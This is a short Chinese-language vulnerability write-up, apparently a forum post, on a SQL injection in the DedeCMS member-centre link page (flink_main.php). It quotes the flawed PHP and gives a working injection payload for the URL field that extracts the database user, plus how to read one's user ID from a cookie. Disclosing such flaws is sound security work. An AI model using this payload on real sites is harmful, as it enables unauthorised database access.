Dedecms 会员中心注入漏洞3

Diana

[AppleScript] 纯文本查看 复制代码

<pre><code>member/flink_main.php
if($dopost=="addnew")
{
    AjaxHead();
    $row = $dsql-&gt;GetOne("SELECT COUNT(*) AS dd FROM `#@__member_flink` WHERE mid='".$cfg_ml-&gt;M_ID."' ");
    if($row['dd']&gt;=50)
    {
        echo "&lt;font color='red'&gt;增加网址失败，因为已经达到五十个网址的上限！&lt;/font&gt;";
        GetLinkList($dsql);
        exit();
    }
    if(!preg_match("#^http:\/\/#",$url)) $url = "http://".HtmlReplace($url, 2);//如果前面有http就不过滤了
 
    $title = HtmlReplace($title);
    $inquery = "INSERT INTO `#@__member_flink`(mid,title,url) VALUES(".$cfg_ml-&gt;M_ID.",'$title','$url'); ";//这不就注入了么
    echo $inquery ;
    $dsql-&gt;ExecuteNoneQuery($inquery);
    echo "&lt;font color='red'&gt;成功增加一链接！&lt;/font&gt;";
    GetLinkList($dsql);
    exit();</code></pre>

漏洞证明：

测试方法

打开

http://127.0.0.1/dede/member/flink_main.php#

在连接网址里面写入 http://sss2'),(8,1,@`'`),(8,(select user()),'33333

连接名称随意

这里的8 是我的用户ID 想要查看 必须得知道自己的用户id

这个so easy 查看cookie 里面有一个DedeUserID

我的就是DedeUserID=8 这个一看就知道自己的id是神马了